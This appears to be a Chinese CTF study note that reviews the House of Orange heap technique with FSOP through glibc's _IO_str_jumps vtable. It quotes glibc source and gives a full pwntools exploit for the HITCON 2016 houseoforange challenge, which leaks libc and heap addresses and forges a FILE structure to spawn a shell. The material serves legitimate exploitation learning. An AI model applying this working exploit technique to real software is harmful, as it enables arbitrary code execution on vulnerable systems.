再探FSOP
再探FSOP
这几天在光速筑基(这两个词好矛盾),之前学的知识感觉没有扎实。所以我计划要逐步整理。
还是以House of orange这题为例,不过我们这里换一个技巧,通过IO_str_jumps来实现。
一些细节不再阐述,本笔记用作个人复习使用。
House of Orange
这个技术可以在没有free函数的情况下将一个堆块free掉进入unsorted bin中。
原理是设法申请一个比当前top chunk更大的堆块,这时会触发sys_malloc函数,将top chunk给free掉,并且申请一块新的内存作为top chunk并切割出chunk返回
//top chunk被free过程
if (old_size >= MINSIZE)
{
set_head (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ) | PREV_INUSE);
set_foot (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ));
set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA);
_int_free (av, old_top, 1);
}
我们可以通过堆溢出修改top chunk的size域,将其改小,使得我们更容易触发对于top chunk的free。
注意top chunk的结尾old_end(通过size偏移得到)要和内存页对齐。所以堆溢出时我们不要动size域后三位,把前面清零就行。
assert ((old_top == initial_top (av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse (old_top) &&
((unsigned long) old_end & (pagesize - 1)) == 0));
FSOP技巧回顾
这个技巧,需要提前泄露出来libc基址和堆基址
利用unsorted bin attack修改_IO_list_all将其指向我们可控制的堆块,将堆块伪造成一个IO_FILE_plus结构,并在vtable处填入一个伪造的_IO_file_jumps地址,在伪造的虚表中的_IO_file_overflow的位置写入system函数的地址,通过触发error执行abort函数或者从main正常退出/调用exit函数,来触发"_IO_file_overflow",执行system("/bin/sh")
例题中我们是通过unsorted bin attack取出被溢出的堆块后,unsorted bin被破坏,但是还未寻得所需堆块(0x10),再次在unsorted bin中寻找堆块会找到IO_list_all附近,这里size域检查会寄掉报错,正好触发system
今天复习的时候脑子短路了,总是想着unsorted bin里面就这一个chunk,这个chunk还被last reminder指针指着,所以觉得堆块不应该被取出,而会被直接切割,无法触发FSOP。这里讲一讲,unsorted bin判断是否里面只有一个chunk的方式,是通过unsorted bin的bk指针找到最后一个堆块后,通过其bk找到倒第二个chunk(应该说是认为是chunk),然后判断这个chunk的地址是不是unsorted bin的地址,是的话则说明unsorted bin里面就只有一个chunk。这里由于unsorted bin attack需要伪造最后一个chunk的bk,所以一定不会被认为这是唯一的last reminder,因此不会触发切割分支。
在2.23的glibc中,我们可以自己在堆块中伪造一个虚表并将其地址作为fake_file的vtable指针,这一点之前博客有讲,不再赘述。但是在2.24版本之后glibc中加入了对于vtable地址合法性的检查,使得伪造一个vtable的思路不再可行。
因此我们要转换思路,这里用了另一个虚表:_IO_str_jumps
利用合法虚表_IO_str_jumps劫持程序执行流
_IO_str_jumps在对应_IO_file_jumps中_IO_file_overflow的地方也有个类似的函数_IO_str_overflow。
int
_IO_str_overflow (_IO_FILE *fp, int c)
{
int flush_only = c == EOF;
_IO_size_t pos;
if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen);
(*((_IO_strfile *) fp)->_s._free_buffer) (old_buf);
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}
memset (new_buf + old_blen, '\0', new_size - old_blen);
_IO_setb (fp, new_buf, new_buf + new_size, 1);
fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
fp->_IO_write_base = new_buf;
fp->_IO_write_end = fp->_IO_buf_end;
}
}
if (!flush_only)
*fp->_IO_write_ptr++ = (unsigned char) c;
if (fp->_IO_write_ptr > fp->_IO_read_end)
fp->_IO_read_end = fp->_IO_write_ptr;
return c;
}
libc_hidden_def (_IO_str_overflow)
我们要利用这一行,这里如果能控制这个函数指针,就可以控制程序执行流:
new_buf = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
看看_IO_strfile及相关结构:
typedef void *(*_IO_alloc_type) (_IO_size_t);
typedef void (*_IO_free_type) (void*);
struct _IO_str_fields
{
_IO_alloc_type _allocate_buffer;
_IO_free_type _free_buffer;
};
struct _IO_streambuf
{
struct _IO_FILE _f;
const struct _IO_jump_t *vtable;
};
typedef struct _IO_strfile_
{
struct _IO_streambuf _sbf;
struct _IO_str_fields _s;
} _IO_strfile;
#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
这个_allocate_buffer指针位于fp指向的FILE结构的vtable指针后面,即0xe0偏移处,我们在这个地方填上system函数地址就行。
下面要注意一下如何通过检查并准确传入"/bin/sh"的地址作为参数
简要概括:
_flags置为0
_IO_buf_base = 0
_IO_buf_end = (str_bin_sh - 100) / 2
_IO_write_base = 0
_IO_write_ptr = str_bin_sh 随便放一个大数字,能绕过检查就行
vtable = _IO_str_jumps
*( (char*)fp + 0xe0 ) = system_addr
另外打unsorted bin attack,要把bk设为IO_list_all-0x10,对应_IO_read_base
EXP
例题不放了,BUUCTF上有。
from pwn import *
context.arch='amd64'
context.log_level='debug'
context.terminal=['tmux','splitw','-h']
ELFpath='/home/wjc/Desktop/houseoforange_hitcon_2016'
libcpath='/home/wjc/Desktop/BUUCTF/libc/libc-2.23_64.so'
r=process(ELFpath)
libc=ELF(libcpath)
ru = lambda content:r.recvuntil(content)
rc = lambda num:r.recv(num)
sd = lambda content:r.send(content)
sl = lambda content:r.sendline(content)
getlib_7f= lambda :u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
getbase_55= lambda :u64(r.recvuntil('\x55')[-6:].ljust(8,'\x00'))
get6byte=lambda :u64(r.recv(6).ljust(8,'\x00'))
def cmd(idx):
ru('Your choice : ')
sl(str(idx))
def Add(size,name,price,color):
cmd(1)
ru('Length of name :')
sl(str(size))
ru('Name :')
sd(name)
ru('Price of Orange:')
sl(str(price))
ru('Color of Orange:')
sl(str(color))
def Show():
cmd(2)
def Edit(size,name,price,color):
cmd(3)
ru('Length of name :')
sl(str(size))
ru('Name:')
sd(name)
ru('Price of Orange:')
sl(str(price))
ru('Color of Orange:')
sl(str(color))
Add(0x40,0x40*'a',0x666,0xDDAA)
ovf=0x40*'a'+p64(0)+p64(0x21)+p32(0x666)+p32(0xddaa)+p64(0)*2+p64(0xf71)
Edit(0x70,ovf,0x666,0xddaa)
Add(0xF80,0x40*'A',0x888,0xddaa)
Add(0x400,0x8*'b',0x777,0xddaa)
Show()
libcbase=getlib_7f()-(0x7f9875970188-0x7f98755ab000)
IO_list_all=libcbase+libc.symbols['_IO_list_all']
IO_file_jumps=libcbase+libc.symbols['_IO_file_jumps']
IO_str_jumps=IO_file_jumps+0xc0
system_addr=libcbase+libc.symbols['system']
log.success(('%-20s'+hex(libcbase))%'libcbase:')
log.success(('%-20s'+hex(IO_list_all))%'IO_list_all:')
log.success(('%-20s'+hex(IO_file_jumps))%'IO_file_jumps:')
log.success(('%-20s'+hex(IO_str_jumps))%'IO_str_jumps')
log.success(('%-20s'+hex(system_addr))%'system_addr')
Edit(0x10,0x10*'b',777,0xddaa)
Show()
ru(0x10*'b')
heapbase=get6byte()-(0x55a01662a0f0-0x55a01662a000)
str_bin_sh=heapbase+0x100
log.success(('%-20s'+hex(heapbase))%'heapbase:')
log.success(('%-20s'+hex(str_bin_sh))%'str_bin_sh:')
fake_chunk =p64(0) #flag 0
fake_chunk+=p64(0x61)
fake_chunk+=p64(0)
fake_chunk+=p64(IO_list_all-0x10)
fake_chunk+=p64(0)
fake_chunk+=p64(str_bin_sh)
fake_chunk+=p64(0)
fake_chunk+=p64(0)
fake_chunk+=p64((str_bin_sh-100)/2)
fake_chunk=fake_chunk.ljust(0xd8,'\x00')
fake_chunk+=p64(IO_str_jumps)
fake_chunk+=p64(system_addr)
ovf='/bin/sh\x00'+0x3f8*'c'+p64(0)+p64(0x21)+p32(0x666)+p32(0xddaa)+p64(0)+fake_chunk
#gdb.attach(r,'b*$rebase(0x13D5)')
Edit(len(ovf),ovf,0x666,0xddaa)
cmd(1)
def LOGALL():
log.success(('%-20s'+hex(libcbase))%'libcbase:')
log.success(('%-20s'+hex(IO_list_all))%'IO_list_all:')
log.success(('%-20s'+hex(IO_file_jumps))%'IO_file_jumps:')
log.success(('%-20s'+hex(IO_str_jumps))%'IO_str_jumps')
log.success(('%-20s'+hex(heapbase))%'heapbase:')
log.success(('%-20s'+hex(str_bin_sh))%'str_bin_sh')
log.success(('%-20s'+hex(system_addr))%'system_addr')
LOGALL()
r.interactive()